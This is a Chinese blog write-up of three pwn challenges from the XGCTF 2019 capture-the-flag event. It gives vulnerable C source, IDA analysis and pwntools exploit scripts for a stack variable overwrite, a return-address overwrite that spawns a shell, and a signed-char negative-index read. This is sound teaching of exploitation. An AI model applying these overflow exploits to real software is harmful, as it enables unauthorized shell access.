avatar

XGCTF-2019年首届Pwn

前提:linux系统(我是用ubuntu),并装有pwntools,python

0x1 easy pwn

为了方便大家理解,附上程序的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>

int main(){
char leak[8];
int n = 2018;
read(0,leak,0x8+0x4);
printf("%d\n",n);
if(n == 2019){
system("sh");
}else{
printf("瞅啥瞅啊,想干啥啊?\n");
}
return 0;
}
我们将程序导入IDA中,注意该程序是64位程序,所以需要导入到x64的IDA中

4.png

然后F5反编译为伪代码

1.png

很明显这是一个read溢出漏洞,我们只需要在输入buf时,多输入一些数据,使得输入的数据将v5覆盖,我们先双击buf看看栈的情况

2.png

但是我们不知道v5在栈中位置,返回到伪代码,然后双击v5

5.png

发现指向var_4,所以v5=var_4

6.png

buf开始读入数据一直到var_4,中间需要读入0xC-0x4=0x8,所以我们要先输入8个垃圾数据,然后紧跟着2019即可,例如: aaaaaaaa + (2019) 这样就可以将var_4的数据覆盖成2019
附上我的payload
1
2
3
4
5
6
from pwn import *
sh = remote("10.129.2.227",10003)
payload = 'a' * 8 + p64(2019)
sh.sendline(payload)
sh.interactive()
print sh.recv()
执行代码

7.png

得到flag: xgctf{Chan9e_th4_sTaCk!}

0x2

为了方便大家理解,附上程序的源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void getShell(){
system("/bin/sh");
}
int vul_function(){
char junk[8];
printf("你想对我说什么吗?\n");
return read(0,junk,0x50);
}
int main(){
vul_function();
return 0;
}
简单说明一下思路:首先main里面直接调用vul_function,然后再vul_function中直接返回read且读入数据的长度大于junk字符串长度,存在溢出
栈的结构 junk+ebp+ret_address+pading +参数1+参数2 +…… +参数n
所以我们输入的字符首先先填满junk,然后再覆盖ebp,然后覆盖ret_address为getShell的地址,然后vul_function执行完返回时 直接返回到getShell,拿到shell
接下来我们开始分析文件,将文件导入IDA中,F5反编译

9.png

然后进入vul_function

10.png

双击头部的 char buf; // [esp+8h] [ebp-10h] 的buf

11.png

根据[ebp-10h] 我们知道junk首先需要覆盖 0x10 的长度
接下来要覆盖ebp,32位程序中ebp为四个字节,所以可以随意用4个字节的数据填充掉,然后就是ret_address(返回地址)
我们需要找到能让我们拿到shell的函数,我们双击进入

12.png

13.png

显然只要我们执行了 system("/bin/sh") 就可以拿到flag
接下来我们开始构造payload,我使用的是python
1
2
3
4
5
6
7
8
9
from pwn import *
sh = remote("10.129.2.227",10000);
e = ELF("test");
junk = 0x10 * 'a'
ebp = 0x4 * "a"
getShell_address = e.symbols['getShell']
payload = junk + ebp + p32(getShell_address)
sh.sendline(payload);
sh.interactive();
执行结果如下

14.png

得到flag: xgctf{r4tn_t0_get5hell}

0x3 反向读取

这道题考察了对于数组下标为负的溢出
题目告诉我们,只要在本地输出 FAKE{************} 然后调整为远程连接 即可得到flag
首先我们先把程序拖入IDA中,注意了该程序为x64程序,所以需要x64的IDA

15.png

然后F5进行反编译

16.png

双击vul_function

17.png

我们在以下这条语句中发现了漏洞
1
if ( *((_BYTE *)&v2 + i) != *((_BYTE *)&v8 + s[i]) )
&v8是地址,若s[i]为负数的话,就可以读到低位的数据,那么这个表达式就等效于
if ( *((_BYTE *)&v2 + i) != *((_BYTE *)&v2 + i) ) 显然这个if结果是false,就可以执行printf("%s",&v2); 得到flag了
对此我们需要验证我们输入的数据,是否在转化为char的时候存在负数,注意了数组s是char,不是int
我编写了以下的C++代码来验证
1
2
3
4
5
6
7
8
#include<iostream>
using namespace std;
int main() {
for (int i = 0; i <= 255; i++) {
cout << i <<" leak to " <<(int)((char)i) << endl;;
}
return 0;
}
执行结果如下

21.png

由于char的范围是1-127,溢出后就会变成负数,即 128 之后为负数
那么我们就可以通过该特点来溢出低位数据
双击 v2 ,查看它在栈中的位置,v2 = var_80

18.png

返回伪代码,双击v8查看它在栈中的位置,v8 = var_40

20.png

那么我们来总结一下思路,首先我们要先想办法输入溢出的char,然后让它偏移到和自身相等的位置去,就可以跳过 结束的if
偏移量应该是 v8 - v2 = 0x40
然后我们确认 哪个溢出的char是 0x40,通过上面的C++程序,我们知道了十进制的192溢出后等于-64,即-0x40
接下来我们开始写payload,这里我是用python写的
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
sh = remote("10.129.2.227",10002)
#sh = process("./0x3")
head = 192
payload = ''
for i in range(0,28):
payload += chr(head)
head += 1
print payload
sh.sendline(payload);
print sh.recv()
执行结果如下

22.png

得到flag: xgctf{1eak_Char_t0_g4t_F1ag}

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/03/25/XGCTF-2019%E5%B9%B4%E9%A6%96%E5%B1%8APwn/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论